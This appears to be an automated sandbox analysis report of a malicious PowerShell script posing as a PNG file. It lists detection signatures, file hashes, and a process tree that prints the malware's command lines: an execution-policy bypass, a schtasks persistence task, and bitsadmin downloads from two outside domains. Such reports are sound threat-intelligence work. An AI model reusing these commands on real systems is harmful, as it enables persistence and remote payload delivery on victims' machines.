Analysis

  • max time kernel
    127s
  • max time network
    137s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2024 12:14

General

  • Target

    YQpjoXnBJr/WRQDouwL.png.ps1

  • Size

    304KB

  • MD5

    803d84838415f3c36742821f70203a8f

  • SHA1

    e3b4bc28676f9f1c2c71fff706d240e9557df75e

  • SHA256

    e20d63d82415c54f408d750f77b1442b4540e1e7eca70cc5e77fc06a093a1eec

  • SHA512

    e083ed91c0eb5316d12ba090f2c14ed8a01075ebbb25a47f1f30ef56bf9877556aebb9e12ea0d39ef7ff5fcfd98e43c6c4fdb828936264e5abe75f2620277000

  • SSDEEP

    1536:xoXGg/lCHSnPiCqoUZRCHJt50IRNGTRwOs3iFXO57fEPmjwl3Fo5+w5vKBx9SG0W:fmmp

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Download via BitsAdmin 1 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\YQpjoXnBJr\WRQDouwL.png.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3092
    • C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /query /FO CSV /v
      2⤵
        PID:4572
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /F /create /sc minute /mo 4 /TN "S0xiGXlCwrI" /ST 07:00 /TR "wscript /nologo /E:vbscript c:\users\Admin\AppData\Roaming\\xiGXlCwrI\lqOYUHiD.rock"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3108
    • C:\Windows\system32\wscript.EXE
      C:\Windows\system32\wscript.EXE /nologo /E:vbscript c:\users\Admin\AppData\Roaming\\xiGXlCwrI\lqOYUHiD.rock
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2140
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -file lqOYUHiD.ps1
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4312
        • C:\Windows\system32\getmac.exe
          "C:\Windows\system32\getmac.exe" /fo table
          3⤵
            PID:1528
          • C:\Windows\system32\bitsadmin.exe
            "C:\Windows\system32\bitsadmin.exe" /reset
            3⤵
              PID:3552
        • C:\Windows\system32\bitsadmin.exe
          bitsadmin /transfer AngSyW /priority FOREGROUND "https://yjtyhm.eu/topic//ab515c4b674aa7cd8c862269bc0a7d7c.html" C:\users\Admin\AppData\Roaming\xiGXlCwrI\0_svchost.log
          1⤵
          • Process spawned unexpected child process
          • Download via BitsAdmin
          PID:2916
        • C:\Windows\system32\bitsadmin.exe
          bitsadmin /transfer AHacpJ /priority FOREGROUND "https://nmhholiut.eu/topic//ab515c4b674aa7cd8c862269bc0a7d7c.html" C:\users\Admin\AppData\Roaming\xiGXlCwrI\1_svchost.log
          1⤵
          • Process spawned unexpected child process
          • Download via BitsAdmin
          PID:3048

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          556084f2c6d459c116a69d6fedcc4105

          SHA1

          633e89b9a1e77942d822d14de6708430a3944dbc

          SHA256

          88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

          SHA512

          0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          b8a507ea87f4db23962b175b90889f86

          SHA1

          d7957c02ed987bbf866c98e4491a926b5453c58d

          SHA256

          291a53a8822be2c1b654a400ccd6fbbbf90712d4eb2078ccd2d10824d4de4e2b

          SHA512

          23c6774e1c2bb07e9eb814b60b040ebaea933bc664b9eebfa741495e89a8568ff86653b4efa58595fa94f7aff0216d132db96a871ca78600fea3e5c08b9d2bea

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zu1pei1r.jn2.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\users\Admin\AppData\Roaming\xiGXlCwrI\lqOYUHiD.ps1

          Filesize

          2KB

          MD5

          59161dfe806fae8eb2e2244bc0e5344f

          SHA1

          d442e547bd477651ea7784bdab988e6eaa5e4f5a

          SHA256

          55d4414c70d53da41ec1694a86f57b522328364945a8ac7a1e640a9501acfa2b

          SHA512

          6a250fe12de28ed6486459a59436d9405c35044da5be1a59fa34870e25c401e8f8c81f5ccf17cbf892532f497d414bc6220b2a916948f99f06671214b0c90990

        • C:\users\Admin\AppData\Roaming\xiGXlCwrI\main.sh

          Filesize

          196KB

          MD5

          d4f06b258da41c8260fe07e2bc280953

          SHA1

          046a98fa4b8e4b44914884c1525c2c787c98cfa4

          SHA256

          b89c2c4c38917239929a94d79f86076f61dde3029fb514fdc7944d7b0114a455

          SHA512

          3bc6231d0d5aebad5f3dc45ff6c9b9391ebab51ea004acadd4b9cea96fab91a2274a04d65ca76c431048303cb2405178fcfb989db7bbac95a10ccbf42c4ce660

        • C:\users\Admin\AppData\Roaming\xiGXlCwrI\sleep.sh

          Filesize

          1KB

          MD5

          a42520d036314591d61ecb810833a0f4

          SHA1

          f45f63c60562aadd137fe5f23d37ec5d8a1c54da

          SHA256

          f2d2cc6bb0b77ef031d0508acb99b4c12b95ff3eff76d33aeb40b8c8695146ea

          SHA512

          35a13ed9c17b1659f9c53ce4f53048f3dcf6e790a1b74bdcf174d3a625ad9db2e04da491f74d735bfabec54c2c7981c73ac516fe5612995836c179f792e73a9b

        • \??\c:\users\Admin\AppData\Roaming\xiGXlCwrI\lqOYUHiD.rock

          Filesize

          930B

          MD5

          b6bd012cb34ed4136998a856635e2b20

          SHA1

          1fe28b680b9bafc969cf39574c1df55a8c5f76a2

          SHA256

          7650dea686e4e2205704530b4196bd9ab738681c5b0c998f8f1f0fcaef859bcd

          SHA512

          3e5f72c3a8b59605e84b9034e9f8eb08f19928a8ef2d66da615b271775cd73d44403701383118d6055ccaf3217dbf6e6f6daeacdd41cf72d1f3b55a8e1de2586

        • memory/3092-11-0x00007FFC50C40000-0x00007FFC51701000-memory.dmp

          Filesize

          10.8MB

        • memory/3092-21-0x00007FFC50C40000-0x00007FFC51701000-memory.dmp

          Filesize

          10.8MB

        • memory/3092-18-0x00007FFC50C40000-0x00007FFC51701000-memory.dmp

          Filesize

          10.8MB

        • memory/3092-13-0x00007FFC50C40000-0x00007FFC51701000-memory.dmp

          Filesize

          10.8MB

        • memory/3092-12-0x00007FFC50C40000-0x00007FFC51701000-memory.dmp

          Filesize

          10.8MB

        • memory/3092-0-0x00007FFC50C43000-0x00007FFC50C45000-memory.dmp

          Filesize

          8KB

        • memory/3092-1-0x00000186775D0000-0x00000186775F2000-memory.dmp

          Filesize

          136KB

        • memory/4312-36-0x000001CDA9240000-0x000001CDA9768000-memory.dmp

          Filesize

          5.2MB